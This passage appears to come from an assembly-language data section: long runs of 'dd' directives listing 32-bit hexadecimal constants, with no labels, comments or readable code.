		dd 3001DB30h, 59987F50h, 40C7A6EBh, 38414497h, 3C20F816h
		dd 1440DD2Ah, 0D9099CF3h, 3403C93Ch, 801905DBh,	545863EEh
		dd 1C2CA445h, 93AF15FDh, 0A80CF4E7h, 5B80167Bh,	0BCB0F350h
		dd 0A13908C2h, 36BC83E2h, 65983706h, 798C8608h,	39B08AF5h
		dd 868AE4D0h
		dd 0C01EAA49h, 3FB40870h, 531E1DD7h, 82BE0645h,	0B0001028h
		dd 0FF2DFE3Ah, 38F35A5h, 0FCEA0EB4h, 0CD98077Ch, 0D70A3671h
		dd 1465F63Eh, 98B97E40h, 0C62E0475h, 6EEDFCh, 0D61F5F1Eh
		dd 340F3CFEh, 8549E18h,	87C287Eh, 2A2F5E18h, 0E81BC10h
		dd 0CB839E05h, 0A1D2BE83h, 702FEC0h, 0CE7ED614h, 0EA7CC038h
		dd 0C3F52343h, 0FA400D98h, 64286000h, 20CF5E02h, 0F454AED6h
		dd 8EB637DCh, 0FBA4C3D1h, 3382801Dh, 6BE35E06h,	801A6F78h
		dd 0D110B68Dh, 0DED08DEFh, 0FDD1C0E9h, 975E1880h, 20BED609h
		dd 561EC0C1h, 0D5F01189h, 0E950C627h, 0D83E6038h, 9A9E0C8Fh
		dd 6695402Dh, 11A5182Bh, 982C5728h, 38448633h, 41207C8Dh
		dd 66A9F0F4h, 0C31910DBh, 0FF312868h, 0E49E28DCh, 0C53E189Ch
		dd 805208CCh, 0A0CADD80h, 0C1FC99A8h, 0D61B8758h, 20C861Eh
		dd 2060CF9Eh, 0FE12133Eh, 80C42DBh, 639EC00Dh, 353E60EDh
		dd 4619707Ch, 0DB8811D0h, 0DDAD088Fh, 10387E06h, 0D2F39E1Fh
		dd 0F4991E05h, 1636DC05h, 18D8F405h, 3090C80Ch,	17A731DEh
		dd 11DE720h, 9489451Fh,	1802F3FDh, 0AC83F1A7h, 30289324h
		dd 9E31C05Ah, 2B7E18FFh, 0CE1EDC40h, 0F98CA1FDh, 163EE080h
		dd 57BE11D1h, 10D0A8DBh, 0CEC9E20h, 40F0311Eh, 119409EAh
		dd 4025083Eh, 0E1B846DAh, 0EA20408Ah, 2FE53195h, 8CEE9AF8h
		dd 40F53CC0h, 2C0DE58h,	0FE0E42FFh, 0F8371163h,	0A1C20801h
		dd 558886DCh, 0FEBE1268h, 8E0C06E0h, 0FA316843h, 2570B03Eh
		dd 419C5423h, 0CDA5082h, 204DE88Ch, 0C99042FFh,	9B501498h
		dd 19F0F222h, 5833C06Dh, 585C24ECh, 1254A048h, 0B00A6AA7h
		dd 0BE00F44Eh, 3E024876h, 0F85A74F3h, 0B8245034h, 0C08C65FBh
		dd 1AB01FF7h, 0C096C03Ch, 44CC0403h, 0D78D7A29h, 0F4048425h
		dd 24934DDEh, 0A0C1BAE3h, 85283F18h, 0ADA9C392h, 0D02457F1h
		dd 3C248CC0h, 8684A58h,	4686C1BBh, 64494512h, 3ECC031Dh
		dd 1E081026h, 0F1247C02h, 34996A36h, 0DE00C508h, 88A03C20h
		dd 0D0C43967h, 38811165h, 14304D82h, 0B027661Ch, 0BE372076h
		dd 7A83085Ah, 0FB483928h, 0A7371048h, 4324F18h,	92219E2Ch
		dd 5840C178h, 8DFC23Eh,	801DF2D2h, 1F8C12h, 14063312h
		dd 2008201Eh, 9E1987FEh, 84381D0Bh, 213F1E01h, 0E907D080h
		dd 0F19918C6h, 8EC43108h, 8DFF8A68h, 0A8FA8590h, 8C42B831h
		dd 0FDD4A33Bh, 0F8A024FCh, 98243A34h, 48E59844h, 0FF480BFEh
		dd 0A19CE020h, 0F692038h, 0D0F3ED3Dh, 9C3C09Ch,	0C1024740h
		dd 0E858D52Bh, 417A0958h, 279F7h, 3C484F0Dh, 68C52D15h
		dd 2891FE1Ah, 205CD6EFh, 0DBCD1B01h, 0B4E27954h, 629E5840h
		dd 0C9D88EFDh, 0C0589596h, 2C730AAh, 300C9087h,	1EA8A34Dh
		dd 24919519h, 0F95951C3h, 0A888648Ch, 5E0D896Dh, 4C1C3018h
		dd 49751273h, 8D3C4634h, 0D624313Ah, 7A1AA870h,	52B043A0h
		dd 0DFC07440h, 9FBA03ADh, 279040DDh, 91C3F052h,	9184D26Ch
		dd 84D8CDA0h, 65575E60h, 0DBCAC881h, 969B3040h,	0DF1200E9h
		dd 4C1D5695h, 0B9776AABh, 1C02DBFCh, 5139658Fh,	0CA14A098h
		dd 40875954h, 0DE40B67Ah, 801D29C5h, 86BA0328h,	1FCC5487h
		dd 141D500Ah, 455650h, 376EC704h, 1BB37693h, 7B158F7Ah
		dd 0C0188162h, 3B7E6BC8h, 9336004Ch, 8BC11856h,	2C52ACA5h
		dd 45E80254h, 578C3ADh,	0C1646336h, 9EE69FD1h, 0C1A81649h
		dd 143B2529h, 46AFBD81h, 0A0816159h, 8BC3EDF6h,	85C4F165h
		dd 8094FE08h, 3EBF942Ch, 4FB14579h, 0BCE7D660h,	0C0D99D38h
		dd 8ACC50Ch, 0C18F2085h, 20C25932h, 758C0E7Ah, 0AB332530h
		dd 787E6093h, 89233C68h, 39E5A505h, 783C7181h, 8654E1C0h
		dd 0BFAEB6B1h, 68B56360h, 5878E665h, 461C660h, 31E580A0h
		dd 208A1BCh, 68BC4337h,	0DB457818h, 0B08FBDE1h,	0C84457FDh
		dd 1FE11604h, 41185FE7h, 29CF6570h, 60A88146h, 0B0277179h
		dd 7630C567h, 68F0BE46h, 58F8F85Fh, 98727C94h, 804F2B3Dh
		dd 8ED99DC8h, 0EC6AD6F7h, 1E067D08h, 403907DAh,	0D2782E59h
		dd 0A306A890h, 0EB378ED7h, 43171130h, 0D4D18045h, 0C32A2521h
		dd 0D8FD8858h, 30952830h, 0EA7C577h, 82D23785h,	41C1029Fh
		dd 3CB0D784h, 0AD300327h, 3368A1EEh, 57841370h,	770A03FBh
		dd 37C050ACh, 40C05182h, 978A9448h, 824A6D4h, 0D7D018C0h
		dd 5660489Eh, 550438B7h, 42FDCC0Ah, 14DF628h, 509E99ABh
		dd 2158BF14h, 5081930Fh, 244C8E96h, 0F0287784h,	0EDDF940Ah
		dd 0E8029CD8h, 0B884752Fh, 18DFAC50h, 28DC280Bh, 71298AC8h
		dd 4B60AC84h, 0C4C749E9h, 1115A851h, 6D8FC464h,	1429B1C6h
		dd 50718088h, 15DEF2A0h, 5068E944h, 62F78C60h, 96DAD172h
		dd 1ED6A885h, 0DC6714ACh, 0A131B739h, 4A792F08h, 0BD433840h
		dd 2948C42Ah, 406874BAh, 6101C13Eh, 30288D40h, 3280722Fh
		dd 370A8967h, 308588FCh, 0DDFD92E0h, 0D1A61FD0h, 72AF0890h
		dd 8EE52205h, 0B7BC7470h, 821920F7h, 4D91E812h,	3A8C3838h
		dd 852ADE9Ah, 4D0D29C4h, 867CC09Ch, 8A40A0B3h, 4E1624A8h
		dd 73980A14h, 3D4D5074h, 591F0D31h, 0B3D71288h,	9450FA97h
		dd 0EED30418h, 0A80AA34h, 0F7C04068h, 40E6E37Bh, 8F6748DDh
		dd 80AC17A8h, 877E0177h, 0D2A35785h, 0C138228Eh, 0CD62A00Ah
		dd 6E284189h, 0B0D381Eh, 29D6862Dh, 90F36F0h, 1223D789h
		dd 815CC004h, 24C3F7C4h, 40678CE8h, 4390180h, 0CC8087ECh
		dd 0F1BE4AF7h, 9B05A44Bh, 22EBB20Bh, 0F881C5CCh, 9F4BE737h
		dd 0F7C1A48h, 838054B7h, 14C2F9D7h, 581E2620h, 3C3D1CA0h
		dd 0C9EB924h, 6BEAC800h, 48A91789h, 0A4E02485h,	0F82A1E4Dh
		dd 0CD49E45Ah, 48DE1270h, 0C08CD40Ch, 5CF25337h, 25D3F802h
		dd 88035D75h, 28385269h, 2C5BC8C0h, 0E4A782FCh,	89016081h
		dd 7179746h, 0E0548A6Eh, 0CE09E633h, 972849C2h,	847441E3h
		dd 0EA57A0FFh, 4CDC98DBh, 2047B08Bh, 0F9080138h, 143E83C5h
		dd 0E1A05F62h, 9A60AA31h, 0E8A0A09Fh, 37C0A080h, 0E47F509Ah
		dd 14E490E2h, 8C5F8897h, 4EEE79E0h, 9C04552h, 968583ECh
		dd 0EBDF0CA0h, 0A869F7D1h, 0A0878B29h, 1170D3C0h, 8829C4E8h
		dd 624CF7Bh, 0E4FD9193h, 0D5682029h, 1D053C8Eh,	6C34A9AFh
		dd 0A096B84Ah, 0C0813C23h, 94557328h, 1B3BB851h, 6CF84825h
		dd 18C9539Bh, 1B28CC02h, 860F6F02h, 14805214h, 9485ABB8h
		dd 0C45D88B0h, 1490CE59h, 4CA8B8E8h, 9B30B7BCh,	581F3051h
		dd 0D212D052h, 33AC04BAh, 0BDA883B9h, 0A0B70814h, 28B0B734h
		dd 0C21CE069h, 0A31BA840h, 0CFE83C61h, 583870A5h, 1F203369h
		dd 0B0881420h, 1FA014BEh, 88EBC528h, 29256859h,	41C2603Ch
		dd 0C1C28D0Bh, 0E7D52148h, 8C490330h, 5109E6A9h, 9CA2E028h
		dd 3F740518h, 1F2D2FCFh, 509F0A9Ch, 14E70F4h, 210E3718h
		dd 0A0D4E850h, 0C2C2F794h, 41F59708h, 5F04B89Ch, 2FF0677Eh
		dd 88ADB246h, 40AC4131h, 0A833D72Eh, 0D21D5680h, 98C2A63Dh
		dd 9CAB76A8h, 0B9EA0488h, 32C8119h, 9763388h, 85C52EC0h
		dd 38056C16h, 7C4BBA75h, 0E86834C0h, 35CA571h, 138C74F0h
		dd 0A7488109h, 1E94074Ah, 487D308Ch, 572610C3h,	3FB439A4h
		dd 0F4647008h, 0AA2AE3C3h, 5B58C424h, 73970B2Ch, 14F884E4h
		dd 0C1D7CCC1h, 18D3D431h, 504AB7B9h, 4D00A6DFh,	0A069D88Bh
		dd 1D962F47h, 8FEEEC90h, 0A2878C39h, 0EF1F210Eh, 0E7BFD841h
		dd 3F14C87Ah, 801CF13Eh
		dd 4BD1035Ch, 8C3B0F98h, 3B70E7B8h, 1419BE4Dh, 9E186018h
		dd 46B03D0Fh, 6104367h,	0BFB764A6h, 0D4360975h,	8D117046h
		dd 0B2BA8004h, 0D951C9E2h, 4D343200h, 81797F60h, 0D3DF002Fh
		dd 0B9E2CB9Eh, 0D8E84822h, 4FA3151Eh, 0CCFB3A40h, 17DB843h
		dd 0B260F39Ch, 0FCA20A75h, 61C06150h, 8ED38A44h, 664B06AFh
		dd 84CE649h, 24A15A60h,	0FB2CDF2h, 6BC255A8h, 0D765BE01h
		dd 421812Ch, 66D00711h,	50A39180h, 59629653h, 4C8FB306h
		dd 0C8B80Fh, 0ED7CB797h, 0C52776Eh, 1C74357Eh, 4021CA6Eh
		dd 6BFC7F58h, 4D250691h, 5908366Dh, 46123403h, 0A8B52BF4h
		dd 89A007h, 6283282Eh, 7B7230D0h, 3955D0C0h, 61F76E7h
		dd 0C6869604h, 0BA5408C9h, 60070A8h, 0D2BE4FCBh, 15DF1DF4h
		dd 0B8EACE57h, 5E15F00h, 0F0298C11h, 60B83032h,	0E8E3300Eh
		dd 0F41EB408h, 409D648Fh, 0C4CB1F2Ah, 0BDC00113h, 0AA5A85Bh
		dd 42BC5227h, 8CD3D30h,	6CC3AD33h, 217966h, 52CDC527h
		dd 2D1A6454h, 32B6E500h, 0F10B9692h, 198100A1h,	0B846081Ch
		dd 61875B1h, 9FC98DDAh,	8AC900E7h, 0AFE86369h, 0E3743332h
		dd 1D21ED67h, 0F7CBA5D0h, 2FD70198h, 6E9B1231h,	0B8241386h
		dd 0CBE2997h, 0B37DACA8h, 78078418h, 28942E2Bh,	0DF111560h
		dd 0A80CF55h, 0BFBBB640h, 7179A234h, 0EB8ED4A0h, 0ECA951C0h
		dd 0AE93CDh, 1377FCC9h,	378C09B6h, 0F29C3F54h, 1ADBFB09h
		dd 68650131h, 5080B521h, 0E01BAD75h, 74A541B6h,	7B1856E1h
		dd 0C7121E08h, 58405103h, 5925D1DDh, 0EDE6009Bh, 0B58A09FBh
		dd 0D330E307h, 8B3E59B6h, 0B8EE0094h, 0F5AFF199h, 725EBDFBh
		dd 4138D9C0h, 3728C674h, 0D800C1D4h, 3619F86Bh,	23FA49h
		dd 2D08C3D1h, 54880D71h, 0EF3A3800h, 6A1679C8h,	0E070C08Dh
		dd 8FC7A62Bh, 2D986350h, 61709893h, 60A300ABh, 0BB37110Fh
		dd 8C932D36h, 14B9F8D3h, 520F2821h, 0A13000ECh,	82911D72h
		dd 37009C0Bh, 0BE230861h, 292C1EDCh, 5880B3h, 6D207F42h
		dd 2086298Fh, 4070BFA1h, 3DC27D38h, 3ABB0144h, 0CA0A9C42h
		dd 0A156C920h, 4CC83FB7h, 0EBE612EAh, 0C7C04801h, 0B5E710C0h
		dd 64CC521Eh, 35211930h, 0F47CCB08h, 3005F376h,	92D3B10Eh
		dd 6003EC4Fh, 40A0AA31h, 336984Dh, 1B58181Ch, 0B5E0EB62h
		dd 8812A1F4h, 0D81485ECh, 93FBE838h, 0BD5B00ACh, 0B63FA719h
		dd 8C6BEA09h, 1614100Ah, 4E813EC3h, 40C42E00h, 0A417EEE7h
		dd 0B24A7D00h, 361D3177h, 0ECBF19F4h, 182980B9h, 59A41EB8h
		dd 0B616881Ah, 0B040EE44h, 0B37FA580h, 7D7E3600h, 9B33B23Ah
		dd 0ACBB1354h, 0B78000Ah, 13A84AF2h, 0EB7A9C08h, 8478801Bh
		dd 0FFDB3E05h, 48FE4324h, 38947A91h, 0BF6D220Ah, 21DBC6F0h
		dd 0B2173E00h, 1BC137AEh, 0C087FA69h, 0CD210199h, 0B402EED5h
		dd 0A20589A4h, 2888963h, 28CC2ECh, 484BDF8Eh, 0D3F4F810h
		dd 84A55DC1h, 7CF1A069h, 7FFCA354h, 7CA58E07h, 0A379CD63h
		dd 0E0ADE71Ch, 24D1BEA6h, 8C107330h, 0DF086781h, 7943C702h
		dd 60D0AD8Eh, 6035F0C0h, 2E4F71F5h, 88DE9B60h, 0C079800h
		dd 86823Ah, 74E003F4h, 2456B72Bh, 84BF5E03h, 0E0B233FCh
		dd 55DD34B3h, 49D48CCEh, 246CF4F7h, 5E64977Ah, 8064CF21h
		dd 0A751A844h, 1224EFD6h, 4676EC94h, 0F34A03C4h, 97200E45h
		dd 19535941h, 0A0D1DAECh, 0B48AABCh, 0DDB8B9EDh, 4EDF3080h
		dd 1E806156h, 29163513h, 0B1268028h, 0F958665Bh, 2DA000F4h
		dd 0FE3B0860h, 8124CB6h, 1C31B3Ch, 6D39B263h, 2F0C5317h
		dd 556121C3h, 8FB0877Ch, 0EED58640h, 9EE90126h,	27EBA06Bh
		dd 580832D4h, 103E8B88h, 4E210Ch, 0AF220F25h, 0BD91FC50h
		dd 7E07F7FEh, 28C45E14h, 63B86600h, 624CA559h, 9918B186h
		dd 7968608Dh, 2523DBF3h, 0B6006EF8h, 15E3A32Ch,	513638Ch
		dd 0E7608376h, 0F5D00044h, 981E55FDh, 0FB356100h, 41877BA0h
		dd 0DA18122Eh, 4958405Dh, 9DC639A6h, 7AEE48h, 3FB0AE4Ah
		dd 1ED42BA8h, 0CC7CD854h, 0BF310A73h, 0EC77E703h, 0E2928B45h
		dd 0DAE0405Dh, 0CDA1C088h, 77BFEE5Fh, 9476A501h, 3D5EDD4Eh
		dd 18C1CC0h, 0B30E6456h, 60697A9Dh, 0B4014A1Bh,	8D08208Ah
		dd 2826CA62h, 0E0E80872h, 0A0CA141Eh, 0CB0A0640h, 0F9F0087h
		dd 226F1EBDh, 0DF24D6B3h, 83151865h, 7976A828h,	0A2D505CCh
		dd 20B1CD95h, 0C66054F8h, 7A82171Ch, 0B5E5C100h, 4CC43651h
		dd 56F814D2h, 0A3021843h, 0F5FA4124h, 0A94C3B40h, 2204F60h
		dd 0EEE8F6h, 0E9A28A93h, 0F4B6030h, 0B2439602h,	952DDF56h
		dd 20F49A38h, 4CDB3800h, 8148393Bh, 908407D2h, 30BB752Eh
		dd 1FF385FCh, 9D8950h, 0CA448D8h, 447E76AFh, 8CC7DE6h
		dd 1DB8210Bh, 44CCA773h, 0C72432C5h, 0D608A0B9h, 6070A19h
		dd 8B5AECF9h, 7885FC1h,	18189Eh, 1169A4B9h, 0A852826Dh
		dd 9F506038h, 0A851BEAEh, 8080CA38h, 0A5003181h, 8C02A014h
		dd 7DF35Eh, 0B6A31E30h,	1C71C8AAh, 451AD000h, 2F93881Fh
		dd 469501D2h, 0ADD6644Ah, 4B809FD5h, 0F8508399h, 7DC5DAE4h
		dd 0B56701C1h, 6FBA58E3h, 53E7E84Dh, 0A478FA61h, 3180BC1Bh
		dd 8761AAEh, 5007735Ah,	5C5B03F0h, 21DC46h, 0C41AAD77h
		dd 706AF26Dh, 8100527Fh, 0FFBD2BECh, 1447D365h,	2C1DD7B3h
		dd 402167ACh, 623B00C4h, 0C7ABC5E9h, 343BA3Bh, 0C2DA07E7h
		dd 4FDDD01Eh, 309A6001h, 295C7D8Eh, 4B468500h, 76EEB7D0h
		dd 0C2E2E8D7h, 0A0528E70h, 5497E1E0h, 392DEB1Dh, 51B27000h
		dd 0C574679h, 82A637EDh, 0F30396A0h, 0A758F2Bh,	70416E2Ah
		dd 0A06E3B28h, 9B416328h, 5A2086D7h, 5F2403C5h,	41E8730Dh
		dd 95887993h, 3E040F1Ch, 3DC728B9h, 67489FC0h, 0E2BD1499h
		dd 9C0CC8EFh, 9D40DE79h, 0FC61FB00h, 5D4131F0h,	8D591D71h
		dd 0E3E00C57h, 8900C920h, 9F6DE6FDh, 2FE75F3h, 29B02FF9h
		dd 0F0A2CC93h, 28A07873h, 125BFC7Eh, 41300446h,	0FC069821h
		dd 4B5ED407h, 0F257B4E4h, 0AA80D86Ah, 20658FA1h, 0B218001Eh
		dd 0BC26E68Dh, 618BDF7h, 0FB2919E5h, 0BCD0177h,	0ED4E67ABh
		dd 0C5C9E955h, 3812E0EAh, 87D39307h, 3B20D065h,	0F46E89F7h
		dd 5E9C0E60h, 3F232F0h,	67B0F300h, 64EC5003h, 0B03FDAA8h
		dd 0BBB42Ch, 54EBDE38h,	6B71A2FBh, 743CC6E0h, 0EC4580D3h
		dd 0C7203944h, 0A68F0007h, 1F10B9DAh, 38F2FEE7h, 97DB2100h
		dd 0ED43BE04h, 0D03E005Ah, 3ACEE592h, 880083D6h, 0DBFC652h
		dd 0A548FDh, 9949FBC9h,	6D076163h, 0A2B45400h, 0F50C8CE5h
		dd 3D1E0CEh, 637F148h, 879584F8h, 80495092h, 90289E7Bh
		dd 0C500FA0Dh, 660ADD13h, 0AB6CA2h, 7898B37Eh, 1DDBAC46h
		dd 89C23F2Eh, 0CBA02300h, 20EB9Ch, 527BCF7Eh, 63DB4AF0h
		dd 3E9B6500h, 0EA22855Ch, 0A35B0099h, 2502E1A8h, 8678A233h
		dd 1ED07F00h, 612C7688h, 8A4D0039h, 0C26E4047h,	0C1076FA4h
		dd 5AD35B31h, 5DD23290h, 0B12400FAh, 4A4451F7h,	0D40E0821h
		dd 0E070D1EFh, 301758F4h, 0CB9E006Bh, 60AE6D68h, 520B02CDh
		dd 8A64C8ECh, 0E100E382h, 62596BEBh, 0CC0900B9h, 374CB67Ch
		dd 67033FE4h, 842179F1h, 39D900Dh, 0C32B0ED6h, 0CAC0FFB7h
		dd 0B49278CDh, 510F9A00h, 3E7D5984h, 44BD000Eh,	2E3663F3h
		dd 6A005A1Bh, 84558737h, 9E68B0h, 5F4E1E5Ch, 0DEF3F05Bh
		dd 0DF276307h, 0A9E0DBAEh, 7DCFAA37h, 67A2A0D4h, 1AA80023h
		dd 88E25602h, 6E004FE0h
		dd 0E31C6A05h, 1D93F208h, 0E90F6D5h, 0CC3FBE4h,	2FC0027Fh
		dd 0A6003FB4h, 0D7470585h, 5F0D3EBh, 9551CE5Eh,	20DDC035h
		dd 0C1008FEDh, 9CA95DFBh, 527F0Eh, 0EAD84DACh, 0AA6CFD77h
		dd 0C0BCD901h, 0A5C3303Bh, 12423434h, 35E6DDh, 0F76E46C0h
		dd 8300D02Ch, 84A29041h, 35879CFh, 91CE81C4h, 6DA85067h
		dd 0D400A4B0h, 0C1F902A7h, 0F4F47162h, 0E98E5898h, 18542900h
		dd 0E782B6C3h, 0FFDCD100h, 3E3A4102h, 10FCB8h, 9207A112h
		dd 3913285Eh, 0ED2EC807h, 0D5A1ECF5h, 0AC0F0B5h, 1CCD009Ch
		dd 9B1DDFCBh, 13128DFFh, 39018E26h, 0F5A8C69h, 8540E4h
		dd 2E240BAFh, 0EAEFCB42h, 1D283960h, 2C23573h, 6C453C4Ch
		dd 3DC14FD5h, 0CCA7602Bh, 6F8FD00Eh, 3CA9E0B8h,	32DFE5Ch
		dd 9C861CF6h, 7DF90673h, 52C9C0FCh, 1C2959h, 0BEF2D175h
		dd 0F93EAAh, 0F493AE87h, 0D3A3FEA8h, 83DB593Bh,	83557996h
		dd 3CC1C4A6h, 0CDD0BD98h, 0BE19D691h, 4532A900h, 0DF2A9Eh
		dd 0C5BE9FDBh, 4C532261h, 0C0E3D900h, 0B56DCCB9h, 0AB2E0E7Bh
		dd 0D027BFD2h, 3ED4C027h, 84017AAAh, 0EA0C8012h, 4470862Ah
		dd 44363BEBh, 7181D680h, 0D16A755Ah, 1238801Eh,	8FF72440h
		dd 3F8776C2h, 28812254h, 0C90B425Fh, 44F253B0h,	8A3F03A8h
		dd 599B5A00h, 0A7D72CE3h, 12F10022h, 2A613845h,	87074A9Dh
		dd 2956BA0h, 0A00D32Fh,	5C3F14B2h, 0AE4300A3h, 6C257770h
		dd 23059EF9h, 0B8F5FDCFh, 0E6517580h, 538D008Ch, 0B5D7FC41h
		dd 8008659h, 66B2093Bh,	49921E3h, 7B8E198Fh, 263800Eh
		dd 94012CDCh, 59A80A13h, 473066F0h, 4CEC9028h, 0BF0015B2h
		dd 69DF9EACh, 0EE003D37h, 17F50DD4h, 4C506DBBh,	4C00FAE4h
		dd 47BE66BFh, 0A80D913Bh, 90CB0854h, 154FE8h, 98D9BA4Bh
		dd 0A19ABC1Ch, 143AABF6h, 7ED680CDh, 0B82F7468h, 0D7950019h
		dd 0E9CCF189h, 1000361h, 3971641Dh, 94C5E5h, 348D20E4h
		dd 72E8BBAh, 0B2857C01h, 0D5428A24h, 76D8F5C1h,	17DB00B5h
		dd 4D432722h, 9F03EE30h, 57AC9BEDh, 0BBEF90ECh,	0CC410094h
		dd 9CC58668h, 2B1E665Ah, 0E080927Ah, 72B930E8h,	8D789737h
		dd 70BBC030h, 2D458h, 0DA6C06AFh, 70D75044h, 79CC400h
		dd 0DC85B9CAh, 0D19B0754h, 0F0826069h, 0A82E1110h, 0AAA99A03h
		dd 0C08AAB07h, 7B76BAFh, 9F743B02h, 90178026h, 0B300F52Ch
		dd 8A094627h, 3FFA639Bh, 4B8658BDh, 0B843D923h,	89861708h
		dd 8F598040h, 94242EDBh, 1A9B6300h, 0FD0135D9h,	304260BBh
		dd 19EBB2D2h, 9AA10E1Ch, 0E73B2500h, 2DE384h, 0A07917Eh
		dd 0C73EBBAEh, 0DD80135Ah, 98C9F3h, 0ADA7A3F9h,	7D728009h
		dd 740023B0h, 9B51EDB6h, 234977h, 859ECB28h, 0A3DF35CDh
		dd 0CA966B0Eh, 90ABC0A2h, 0E2AEE9h, 988A75B3h, 45A5EC4Ch
		dd 7E3E5100h, 6265E58Dh, 0A6A80083h, 7F3A6E2Dh,	5A981774h
		dd 8BD09Dh, 1A124E61h, 27B42581h, 72CCA900h, 5D457429h
		dd 2F650988h, 68809A17h, 0B6BBBC3Fh, 6056AD00h,	36784816h
		dd 51DB0E45h, 0B36132FFh, 0E41E6B31h, 5700BAFEh, 3A0501E8h
		dd 7A4DCBD3h, 0D6FC58h,	0DA846331h, 13D73946h, 27552C00h
		dd 0F3BB5A12h, 1EC80BADh, 0AC80FF8Fh, 6953D097h, 0D13CD5B8h
		dd 68B38E65h, 9585A02Dh, 0BA0139h, 0AE5AFC05h, 42D3AAB5h
		dd 77003590h, 45B9C9ACh, 3FF7DE8Dh, 5100D473h, 2B1AB73Bh
		dd 470E32D2h, 0E0EDF149h, 0F89A6FBFh, 531C381Eh, 8808AB00h
		dd 0A1B676E8h, 0F03DF438h, 3AD96800h, 554EDDCEh, 6EC100B9h
		dd 1483B418h, 1300751Ch, 35FFAA1Eh, 0E1AEBAEh, 0F9BC2D27h
		dd 8044CA44h, 0ADAFDAECh, 9E4B9500h, 3B1CD17Dh,	8B47090Fh
		dd 5C60C6A8h, 75166818h, 4C00F93Dh, 0A2026070h,	27780059h
		dd 0B2BDBA93h, 0FE7796A6h, 0ED9AF000h, 8CB709D0h, 8C2252D5h
		dd 0CE54200h, 8EF6B654h, 59011FEAh, 48B92D7h, 4970A5CBh
		dd 824300FEh, 0E14C50CAh, 0A60D978Ch, 11751914h, 0BCB4ECh
		dd 6EB0C291h, 533DD8B5h, 0F61CA707h, 0C6A7225Ch, 0C0F46AD3h
		dd 9BCD5Ah, 0FD4CD42Eh,	0C8809CE7h, 70681500h, 874360EFh
		dd 294000BCh, 89BBD167h, 0E1D9F0Fh, 3CF8902Ch, 22804E8h
		dd 69C0BE4Ch, 442B944h,	0A190E5EBh, 0BF1CB064h,	0D05EDC00h
		dd 0FC145D6Bh, 8490FBh,	7B1815B3h, 0DEF617D2h, 0DBCF0750h
		dd 810CB60Fh, 0DA398059h, 9B28F9h, 44996602h, 158B6A7Bh
		dd 892E100Eh, 5D1C849Dh, 1B764981h, 0E4007C2Dh,	6B400B34h
		dd 5205D850h, 0FC76F244h, 14D1048h, 58D857E3h, 35562043h
		dd 7C119B00h, 0EF733456h, 9BD7F31h, 0F2E8F955h,	5C40BC8Fh
		dd 0DA066AEAh, 8621350Bh, 0CBD08085h, 0A8FD76A8h, 670B4E30h
		dd 0D045585Ah, 578116D8h, 0ED103402h, 58B0DA03h, 92581268h
		dd 4124C3C1h, 840D9100h, 3182B7Ah, 229C009Ah, 0F7823649h
		dd 34006F43h, 0F06431D8h, 7FD3024h, 23121E8Dh, 0FCC4E07Bh
		dd 0BE00FA02h, 0F919C32Ah, 9769D8h, 0DF076EE8h,	6CB1E1CEh
		dd 0B8A7C53Dh, 0FF380044h, 7C41FC2Eh, 76D7E51h,	2DF51C4Bh
		dd 9FCFD02Fh, 0B9281B8Fh, 0E43AD21Ah, 754D0118h, 5A090AC8h
		dd 0C43ECh, 66899B57h, 0DD6372D2h, 3B87C100h, 0FE49C7FFh
		dd 0D098004Eh, 81EC9A4h, 5900B78Bh, 0AE4817EAh,	0ED4D1A3Dh
		dd 9220CCh, 0CAFF7C6Dh,	54638FB2h, 984F9D00h, 53D18A8Ch
		dd 552814CDh, 76D891h, 732E3FBAh, 2BB24923h, 41499A6Eh
		dd 0F86F18CEh, 77915E0h, 0F07F539h, 0A5E08F16h,	2668568Ah
		dd 0E68DBE00h, 9DB7DE3Ch, 12517007h, 98C01AEh, 0C3805BA2h
		dd 1DE47618h, 17416F62h, 18E70F7h, 0E59E0905h, 0ED39D725h
		dd 7A20860Dh, 4C89358Ch, 984027EFh, 0D558BF9Bh,	8687F500h
		dd 41D3D720h, 96AC09B0h, 92009C08h, 98857467h, 9D71CF18h
		dd 2E6B058h, 1EA45A6Bh,	94A13A8Ch, 8072E43Dh, 5C7D8460h
		dd 305A3EDDh, 19212710h, 700EA3Ah, 9ACC8EF1h, 8578FCh
		dd 6C0EEFEDh, 2EAD0899h, 90F32E8h, 4007BEFBh, 40D1519Ch
		dd 9845000Eh, 975D3E14h, 0EC005059h, 90F9FE7Eh,	1E7989DCh
		dd 3CF1107h, 0AD299CB2h, 9363A2E0h, 0EB4A4E00h,	79227B5h
		dd 91D70FF2h, 871D1397h, 66A7CD1Bh, 50035862h, 7EB445B1h
		dd 9895A0EEh, 15F300B9h, 0F5347DA7h, 9600B8DEh,	4F86D30h
		dd 0C050D017h, 0A54AF238h, 0EB989C43h, 0DC846C01h, 7C9E61C2h
		dd 0AEDB92FDh, 0F67A3938h, 700800F9h, 0A76341ABh, 73124DB4h
		dd 990325AFh, 30994ED5h, 0ACA1E192h, 6E0071D7h,	79B4D303h
		dd 60B0813Dh, 0B2927860h, 0AB0FE875h, 229520B9h, 0D7C77A78h
		dd 58E4A980h, 810503B3h, 0CA98A70Bh, 0A58CD5C0h, 3F883369h
		dd 0D7887DB8h, 0EE6718C7h, 36D02271h, 0CE1153Eh, 21841068h
		dd 72F0F118h, 0AA39BF00h, 0CD27E509h, 166E001Ah, 0BD191C52h
		dd 5C00C679h, 5FB594AEh, 69034Bh, 0C8EDEE8Ch, 9E12CE6Dh
		dd 3B388003h, 0B0666EE4h, 0CA3EF21Bh, 5504CC10h, 1A073183h
		dd 0E336E0FBh, 23B40992h, 8B0089C7h, 0CC82FDEh,	3912B501h
		dd 78FAA44h, 6653E30h, 55C720F9h, 1A1029D4h, 9021B475h
		dd 95AFFA00h, 2001C722h, 422FE32h, 0C4C4276h, 78B53703h
		dd 2880F92Dh, 4384FCF3h, 0F600824Fh, 3109BB1Dh,	0C5B05Bh
		dd 0C188BFE1h, 0AAE82F27h, 0DE988207h, 59F0F47Bh, 0AE612h
		dd 5FBF6FD0h, 1604330h,	42A4941Ch, 12C4BA41h, 0BFD43552h
		dd 374C0065h, 0B2AB91C2h
		dd 8101A647h, 2361C43Ah, 14D43CBAh, 1027014Ch, 0A32C29CFh
		dd 0EA76CCD9h, 7C362E00h, 0CD3CC8FAh, 0E96B3847h, 8DF11D01h
		dd 0F86AE4ADh, 1200A888h, 3E8F5458h, 0F89EC8Bh,	0E380305Bh
		dd 0D7937760h, 86009E5Fh, 0BF3FCA38h, 0B88B7Ah,	3B5006FAh
		dd 9AEC4E95h, 874A7B00h, 0A3EA8540h, 0A61070Ch,	0C707190Fh
